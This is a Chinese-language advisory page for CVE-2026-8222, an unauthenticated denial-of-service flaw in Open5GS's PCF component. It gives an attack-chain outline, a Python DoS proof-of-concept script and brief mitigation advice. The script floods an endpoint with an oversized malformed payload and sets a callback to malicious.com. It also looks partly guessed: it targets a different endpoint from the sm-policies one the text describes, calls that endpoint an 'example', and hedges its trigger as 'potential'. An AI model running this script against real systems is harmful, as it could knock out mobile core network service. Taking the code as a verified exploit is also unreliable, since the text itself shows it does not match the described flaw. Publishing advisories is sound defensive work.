IPBUF安全漏洞报告
English
CVE-2026-8222 CVSS 5.3 中危

CVE-2026-8222 Open5GS 拒绝服务漏洞

披露日期: 2026-05-10

漏洞信息

漏洞编号
CVE-2026-8222
漏洞类型
拒绝服务
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Open5GS

相关标签

拒绝服务DoSOpen5GS5G核心网远程漏洞CVE-2026-8222

漏洞概述

Open5GS是一款开源的4G/5G移动核心网实现软件。在Open5GS 2.7.7及更早版本中,其策略控制功能(PCF)组件的sm-policies端点被发现存在一个安全缺陷。该漏洞源于src/pcf/nbsf-handler.c文件中pcf_nbsf_management_handle_register函数的代码实现问题。攻击者利用该漏洞无需进行身份认证,即可从远程位置发起攻击。通过向受影响的端点发送特定的恶意请求,攻击者能够触发服务异常,导致目标系统崩溃或服务停止响应,从而造成拒绝服务。目前该漏洞的利用细节已被公开,且厂商尚未作出响应,这增加了该漏洞在真实环境中被利用的可能性。

技术细节

该漏洞具体位于Open5GS的PCF(策略控制功能)组件中,涉及文件src/pcf/nbsf-handler.c中的pcf_nbsf_management_handle_register函数。PCF负责策略决策,而该漏洞影响的是sm-policies(会话管理策略)端点。当攻击者向该端点发送特制的恶意数据包时,由于目标函数在处理注册请求时存在逻辑缺陷(如未能正确校验数据长度或处理异常指针),导致程序发生未预期的错误处理流程。这通常会导致进程崩溃或资源耗尽,从而引发拒绝服务。根据CVSS v3.1向量分析,该漏洞的攻击复杂度为低(AC:L),无需任何权限(PR:N)且无需用户交互(UI:N),攻击范围仅影响当前组件(S:U)。由于Open5GS主要用于4G/5G移动核心网部署,该漏洞可能导致网络切片或会话管理功能中断,严重影响电信业务的连续性和可用性。鉴于利用代码已公开,未打补丁的系统面临极高的被攻击风险。

攻击链分析

STEP 1
侦察
攻击者扫描网络,识别暴露在互联网上的Open5GS实例,特别是开放了PCF接口(端口7777或其他配置端口)的目标。
STEP 2
漏洞利用
攻击者向目标Open5GS的sm-policies端点发送特制的恶意HTTP请求,该请求针对src/pcf/nbsf-handler.c中的pcf_nbsf_management_handle_register函数缺陷。
STEP 3
拒绝服务
由于目标函数处理异常数据时逻辑错误,导致Open5GS相关进程崩溃或资源耗尽,无法继续处理合法用户的会话请求,造成服务中断。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target configuration (Replace with actual vulnerable instance) target_host = "http://127.0.0.1:7777" endpoint = "/npcf-policyauthorization/v1/policies" # Example endpoint related to PCF/SM policies # Malformed payload designed to trigger the crash in pcf_nbsf_management_handle_register # This payload simulates a boundary condition or specific input structure that the handler fails to process malformed_payload = { "notificationUri": "http://malicious.com/callback", "supi": "imsi-999999999999999", "invalidData": ["A" * 10000] # Potential buffer overflow or parsing issue trigger } headers = { "Content-Type": "application/json", "Accept": "application/json" } def trigger_dos(): try: print(f"[*] Sending exploit payload to {target_host}{endpoint}") response = requests.post(target_host + endpoint, data=json.dumps(malformed_payload), headers=headers, timeout=5) # Check if service is still responsive or if it crashed if response.status_code == 500 or response.status_code == 404: print("[+] Potential crash triggered or server error returned.") else: print(f"[-] Server responded with status: {response.status_code}") except requests.exceptions.ConnectionError: print("[+] Connection refused. The service may have crashed (DoS successful).") except requests.exceptions.Timeout: print("[+] Request timed out. Service may be hanging.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": trigger_dos()

影响范围

Open5GS <= 2.7.7

防御指南

临时缓解措施
由于官方尚未发布修复补丁,建议暂时限制对Open5GS sm-policies端点的网络访问,仅允许可信的网元IP地址进行连接。同时,可以通过系统监控工具实时监控Open5GS进程状态,一旦检测到异常崩溃尝试自动重启服务以减少业务中断时间。

参考链接